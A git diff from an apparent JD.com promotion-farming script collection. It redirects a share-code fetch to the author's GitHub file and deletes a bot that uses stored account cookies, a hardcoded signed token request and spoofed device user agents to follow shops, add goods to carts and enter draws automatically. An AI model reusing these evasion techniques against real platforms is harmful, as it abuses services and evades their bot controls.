(!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dreamFactory_tuan.js b/jd_dreamFactory_tuan.js index 3e6ee6f9e..f929be289 100644 --- a/jd_dreamFactory_tuan.js +++ b/jd_dreamFactory_tuan.js @@ -108,7 +108,7 @@ if ($.isNode()) { } let res = []; if(helpFlag){ - res = await getAuthorShareCode(''); + res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/dreamFactory_tuan.json'); if(!res){ res = []; } diff --git a/jd_fan.js b/jd_fan.js deleted file mode 100644 index 882bfa74a..000000000 --- a/jd_fan.js +++ /dev/null @@ -1,549 +0,0 @@ -/** - 粉丝互动,尽量自己设置定时,在0点和1点抽奖,白天基本没水 - 注意:脚本会加购,脚本会加购,脚本会加购 - cron "10 0 * * *" jd_fan.js - * */ -const $ = new Env('粉丝互动'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; - -const activityList = [ - {'id':'f1c859ad23124013a17cfd8e8791f160','endTime':1656626274000},// -] - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - if(!activityList.length){ - console.log(`\n没有活动,退出!!!`); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - await getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.oldcookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - - $.hotFlag = false; - for (let j = 0; j < activityList.length && !$.hotFlag; j++) { - $.activityInfo = activityList[j]; - $.activityID = $.activityInfo.id; - console.log(`互动ID:${JSON.stringify($.activityInfo)}`); - console.log(`活动地址:https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}`); - if($.activityInfo.endTime && Date.now() > $.activityInfo.endTime){ - console.log(`活动已结束\n`); - continue; - } - await main(); - await $.wait(2500); - console.log('\n') - } - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - -async function main() { - $.token = ``; - await getToken(); - await $.wait(1500); - if($.token === ``){ - console.log(`获取token失败`);return; - } - console.log(`token:${$.token}`); - await $.wait(1000); - await getActCk(); - await $.wait(1500); - $.shopId = ``; - await takePostRequest('getSimpleActInfoVo'); - if($.shopid === ``){ - console.log(`获取shopid失败`);return; - } - console.log(`shopid:${$.shopid}`) - await $.wait(1000); - $.pin = ''; - await takePostRequest('getMyPing'); - if($.pin === ``){ - $.hotFlag = true; - console.log(`获取pin失败,该账号可能是黑号`);return; - } - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; - await $.wait(1000); - await accessLogWithAD(); - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}`; - await $.wait(1000); - $.activityData = {}; - $.actinfo = '';$.actorInfo='';$.nowUseValue = 0; - await takePostRequest('activityContent'); - if(JSON.stringify($.activityData) === `{}`){ - console.log(`获取活动详情失败`);return; - } - let date = new Date($.activityData.actInfo.endTime) - let endtime = date.getFullYear() + "-" + (date.getMonth() < 10 ? '0' + (date.getMonth() + 1) : (date.getMonth() + 1)) + "-" + (date.getDate() < 10 ? '0' + date.getDate() : date.getDate()) - console.log(`${$.actinfo.actName},${$.actinfo.shopName},当前积分:${$.nowUseValue},结束时间:${endtime},${$.activityData.actInfo.endTime}`); - let gitList = []; - let gitTypeList = ['One','Two','Three']; - for (let i = 0; i < gitTypeList.length; i++) { - let gitInfo = $.activityData.actInfo['giftLevel'+ gitTypeList[i]] || ''; - if(gitInfo){ - gitInfo = JSON.parse(gitInfo); - gitList.push(gitInfo[0].name); - } - } - console.log(`奖品列表:` + gitList.toString()); - if($.actorInfo.prizeOneStatus && $.actorInfo.prizeTwoStatus && $.actorInfo.prizeThreeStatus){ - console.log(`已抽过所有奖品`);return; - } - await $.wait(1000); - $.memberInfo = {}; - await takePostRequest('getActMemberInfo'); - if($.memberInfo.actMemberStatus === 1 && !$.memberInfo.openCard){ - console.log(`\n====================该活动需要入会,如需执行,请先手动入会====================`);return ; - } - await $.wait(1000); - $.upFlag = false; - await doTask(); - await luckDraw();//抽奖 -} - -async function luckDraw(){ - if($.upFlag){ - await takePostRequest('activityContent'); - await $.wait(1000); - } - let nowUseValue = Number($.activityData.actorInfo.fansLoveValue) + Number($.activityData.actorInfo.energyValue) ; - if (nowUseValue >= $.activityData.actConfig.prizeScoreOne && $.activityData.actorInfo.prizeOneStatus === false) { - console.log(`开始第一次抽奖`); - $.drawType = '01'; - await takePostRequest('startDraw'); - await $.wait(1000); - } - if (nowUseValue >= $.activityData.actConfig.prizeScoreTwo && $.activityData.actorInfo.prizeTwoStatus === false) { - console.log(`开始第二次抽奖`); - $.drawType = '02'; - await takePostRequest('startDraw'); - await $.wait(1000); - } - if (nowUseValue >= $.activityData.actConfig.prizeScoreThree && $.activityData.actorInfo.prizeThreeStatus === false) { - console.log(`开始第三次抽奖`); - $.drawType = '03'; - await takePostRequest('startDraw'); - await $.wait(1000); - } -} -async function doTask(){ - $.runFalag = true; - if($.activityData.actorInfo && !$.activityData.actorInfo.follow){ - console.log(`关注店铺`); - await takePostRequest('followShop'); - await $.wait(2000); - $.upFlag = true; - }else{ - console.log('已关注') - } - if ($.activityData.task1Sign && $.activityData.task1Sign.finishedCount === 0 && $.runFalag) { - console.log(`执行每日签到`); - await takePostRequest('doSign'); - await $.wait(2000); - $.upFlag = true; - }else{ - console.log(`已签到`) - } - let needFinishNumber = 0; - //浏览货品任务 - if ($.activityData.task2BrowGoods && $.runFalag) { - if($.activityData.task2BrowGoods.finishedCount !== $.activityData.task2BrowGoods.upLimit){ - needFinishNumber = Number($.activityData.task2BrowGoods.upLimit) - Number($.activityData.task2BrowGoods.finishedCount); - console.log(`开始做浏览商品任务`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task2BrowGoods.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneGoodInfo = $.activityData.task2BrowGoods.taskGoodList[i]; - if ($.oneGoodInfo.finished === false) { - console.log(`浏览:${$.oneGoodInfo.skuName || ''}`) - await takePostRequest('doBrowGoodsTask'); - await $.wait(2000); - needFinishNumber--; - } - } - }else{ - console.log(`浏览商品任务已完成`) - } - } - //加购商品任务 - if($.activityData.task3AddCart && $.runFalag){ - if($.activityData.task3AddCart.finishedCount !== $.activityData.task3AddCart.upLimit){ - needFinishNumber = Number($.activityData.task3AddCart.upLimit) - Number($.activityData.task3AddCart.finishedCount); - console.log(`开始做加购商品任务`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task3AddCart.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneGoodInfo = $.activityData.task3AddCart.taskGoodList[i]; - if ($.oneGoodInfo.finished === false) { - console.log(`加购:${$.oneGoodInfo.skuName || ''}`) - await takePostRequest('doAddGoodsTask'); - await $.wait(5000); - needFinishNumber--; - } - } - }else{ - console.log(`加购商品已完成`) - } - } - //分享任务 - if ($.activityData.task4Share && $.runFalag) { - if($.activityData.task4Share.finishedCount !== $.activityData.task4Share.upLimit){ - needFinishNumber = Number($.activityData.task4Share.upLimit) - Number($.activityData.task4Share.finishedCount); - console.log(`开始做分享任务`); - $.upFlag = true; - for (let i = 0; i < needFinishNumber && $.runFalag; i++) { - console.log(`执行第${i+1}次分享`); - await takePostRequest('doShareTask'); - await $.wait(2000); - } - }else{ - console.log(`分享任务已完成`) - } - } - //设置活动提醒 - if ($.activityData.task5Remind && $.runFalag) { - if($.activityData.task5Remind.finishedCount !== $.activityData.task5Remind.upLimit){ - console.log(`执行设置活动提醒`); - $.upFlag = true; - await takePostRequest('doRemindTask'); - await $.wait(2000); - }else{ - console.log(`设置活动提醒已完成`) - } - } - //领取优惠券 - if ($.activityData.task6GetCoupon && $.runFalag) { - if($.activityData.task6GetCoupon.finishedCount !== $.activityData.task6GetCoupon.upLimit){ - needFinishNumber = Number($.activityData.task6GetCoupon.upLimit) - Number($.activityData.task6GetCoupon.finishedCount); - console.log(`开始做领取优惠券`); - $.upFlag = true; - for (let i = 0; i < $.activityData.task6GetCoupon.taskCouponInfoList.length && needFinishNumber > 0 && $.runFalag; i++) { - $.oneCouponInfo = $.activityData.task6GetCoupon.taskCouponInfoList[i]; - if ($.oneCouponInfo.finished === false) { - await takePostRequest('doGetCouponTask'); - await $.wait(2000); - needFinishNumber--; - } - } - }else{ - console.log(`领取优惠券已完成`) - } - } - //逛会场 - if ($.activityData.task7MeetPlaceVo && $.runFalag) { - if($.activityData.task7MeetPlaceVo.finishedCount !== $.activityData.task7MeetPlaceVo.upLimit){ - console.log(`执行逛会场`); - $.upFlag = true; - await takePostRequest('doMeetingTask'); - await $.wait(2000); - }else{ - console.log(`逛会场已完成`) - } - } - -} - -async function takePostRequest(type){ - let url = ''; - let body = ``; - switch (type) { - case 'getSimpleActInfoVo': - url= 'https://lzkjdz-isv.isvjcloud.com/customer/getSimpleActInfoVo'; - body = `activityId=${$.activityID}`; - break; - case 'getMyPing': - url= 'https://lzkjdz-isv.isvjcloud.com/customer/getMyPing'; - body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; - break; - case 'activityContent': - url= 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activityContent'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'getActMemberInfo': - url= 'https://lzkjdz-isv.isvjcloud.com/wxCommonInfo/getActMemberInfo'; - body = `venderId=${$.shopid}&activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; - break; - case 'doBrowGoodsTask': - case 'doAddGoodsTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&skuId=${$.oneGoodInfo.skuId}`; - break; - case 'doSign': - case 'followShop': - case 'doShareTask': - case 'doRemindTask': - case 'doMeetingTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}`; - break; - case 'doGetCouponTask': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&couponId=${$.oneCouponInfo.couponInfo.couponId}`; - break; - case 'startDraw': - url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; - body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&drawType=${$.drawType}`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url,body); - await $.wait(2500); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - if (safeGet(data)) { - data = JSON.parse(data); - }else { - data = ''; - } - }catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'getSimpleActInfoVo': - if (data.result) { - $.shopid = data.data.venderId; - } - break; - case 'getMyPing': - if (data.data && data.data.secretPin) { - $.pin = data.data.secretPin - $.nickname = data.data.nickname - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'activityContent': - if (data.data && data.result && data.count === 0) { - $.activityData = data.data; - $.actinfo = $.activityData.actInfo - $.actorInfo = $.activityData.actorInfo - $.nowUseValue = Number($.actorInfo.fansLoveValue) + Number($.actorInfo.energyValue) ; - } else { - console.log(JSON.stringify(data)); - } - break; - case 'getActMemberInfo': - if (data.data && data.result && data.count === 0) { - $.memberInfo = data.data; - } - break; - case 'doSign': - if (data.result === true) { - console.log('签到成功') - } else { - console.log(data.errorMessage) - } - break; - case 'followShop': - case 'doBrowGoodsTask': - case 'doAddGoodsTask': - case 'doShareTask': - case 'doRemindTask': - case 'doGetCouponTask': - case 'doMeetingTask': - if (data.result === true) { - console.log('执行成功'); - } else { - console.log(data.errorMessage) - } - break; - case 'startDraw': - if(data.result && data.data){ - if(data.data.drawInfoType === 6){ - console.log(`抽奖获得:${data.data.name || ''}`); - }else if(data.data.drawInfoType === 0){ - console.log(`未抽中`); - }else{ - console.log(`抽奖结果:${data.data.name || ''}`); - } - } - console.log(JSON.stringify(data)); - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getPostRequest(url,body) { - let headers = { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'user-agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - } - return {url: url, method: `POST`, headers: headers, body: body}; -} -function accessLogWithAD() { - let config = { - url: `https://lzkjdz-isv.isvjcloud.com/common/accessLogWithAD`, - headers: { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'user-agent': $.UA, - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - }, - body:`venderId=${$.shopid}&code=69&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=&shopid=undefined&subType=app&adSource=` - } - return new Promise(resolve => { - $.post(config, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getActCk() { - let config = { - url: `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined`, - headers: { - 'Host': 'lzkjdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', - 'user-agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - } - } - return new Promise(resolve => { - $.get(config, (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.6&build=88852&client=android&d_brand=Xiaomi&d_model=RedmiK30&osVersion=11&screen=2175*1080&partner=xiaomi001&oaid=b30cf82cacfa8972&openudid=290955c2782e1c44&eid=eidAef5f8122a0sf2tNlFbi9TV+3rtJ+jl5UptrTZo/Aq5MKUEaXcdTZC6RfEBt5Jt3Gtml2hS+ZvrWoDvkVv4HybKpJJVMdRUkzX7rGPOis1TRFRUdU&sdkVersion=30&lang=zh_CN&uuid=290955c2782e1c44&aid=290955c2782e1c44&area=1_2803_2829_0&networkType=wifi&wifiBssid=unknown&uts=0f31TVRjBSsSbxrSGoN9DgdOSm6pBw5mcERcSRBBxns2PPMfI6n6ccc3sDC5tvqojX6KE6uHJtCmbQzfS%2B6T0ggVk1TfVMHdFhgxdB8xiJq%2BUJPVGAaS5duja15lBdKzCeU4J31903%2BQn8mkzlfNoAvZI7hmcbV%2FZBnR1VdoiUChwWlAxuEh75t18FqkjuqQHvhONIbhrfofUoFzbcriHw%3D%3D&uemps=0-0&harmonyOs=0&st=1625157308996&sign=e5ef32369adb2e4b7024cff612395a72&sv=110', - body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzkjdz-isv.isvjcloud.com%22%7D&', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return 